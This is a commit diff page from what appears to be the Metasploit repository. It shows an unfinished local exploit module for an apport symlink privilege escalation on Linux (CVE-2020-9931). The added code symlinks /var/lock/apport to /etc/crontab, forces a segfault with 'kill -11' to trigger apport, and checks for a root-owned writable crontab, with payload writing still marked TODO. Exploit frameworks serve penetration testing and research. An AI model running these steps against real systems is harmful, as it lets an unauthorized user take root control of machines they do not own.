Skip to content

Commit c464cf5

Browse files
committed
Begin exploit
1 parent 1a2e4b2 commit c464cf5

File tree

1 file changed

+17
-5
lines changed

1 file changed

+17
-5
lines changed

modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb

Lines changed: 17 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@ class MetasploitModule < Msf::Exploit::Local
33
Rank = NormalRanking
44

55
include Msf::Post::Linux::System
6+
include Msf::Post::File
7+
include Msf::Post::File::FileStat
68

79
# TODO get exact apport version after setting up a test environment
810
# TODO targets in the initialize method and how they work
@@ -49,9 +51,6 @@ def initialize(info = {})
4951
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
5052
},
5153
)
52-
register_options [
53-
OptString.new('Cron Name', [true, 'Name of the Crontab file', Rex::Text.rand_text_alpha(rand(8..12))])
54-
]
5554
)
5655
end
5756

@@ -93,8 +92,21 @@ def check
9392
end
9493

9594
def exploit
96-
# Methods for
97-
# symlinking /var/lock/apport to /etc/crontab
95+
# Create symlink
96+
# TODO error handling here, perhaps try and catch statement
97+
# might need to change linked directory
98+
cmd_exec 'ln -s /etc/crontab /var/lock/apport'
99+
100+
# Crash with segfault to trigger apport
101+
cmd_exec 'sleep 10s & kill -11 $!'
102+
103+
# need method for seeing if file is owned by root and combine with and gate
104+
# if uid method does not work remove Msf::Post::File::FileStat
105+
if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0
106+
fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.')
107+
end
108+
109+
98110
# Touching a file to this
99111
# verifying the permissions on the file (root ownership)
100112
# writing payloads

0 commit comments

Comments
 (0)